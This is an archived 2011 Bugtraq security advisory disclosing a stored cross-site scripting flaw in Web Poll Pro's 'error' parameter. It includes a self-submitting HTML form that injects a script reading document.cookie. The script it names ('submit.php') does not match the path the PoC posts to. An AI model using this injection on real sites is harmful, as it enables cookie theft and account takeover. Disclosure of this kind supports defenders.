bugtraq - XSS vulnerability in Web Poll Pro

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20110319150853.5573.qmail@securityfocus.com>
Date: 19 Mar 2011 15:08:53 -0000
From: Hector.x90@...il.com
To: bugtraq@...urityfocus.com
Subject: XSS vulnerability in Web Poll Pro

Product: Web Poll Pro
Vendor: http://www.got.my
Vulnerable Version: 1.0.3 and probably prior versions
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium
Credit: Hector.x90

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "poll/submit.php" script to properly sanitize user-supplied input in "error" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/poll/poll.php&page=edit" method="post" name="main">
<input type="hidden" name="poll" value="1">
<input type="hidden" name="error" value='description"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>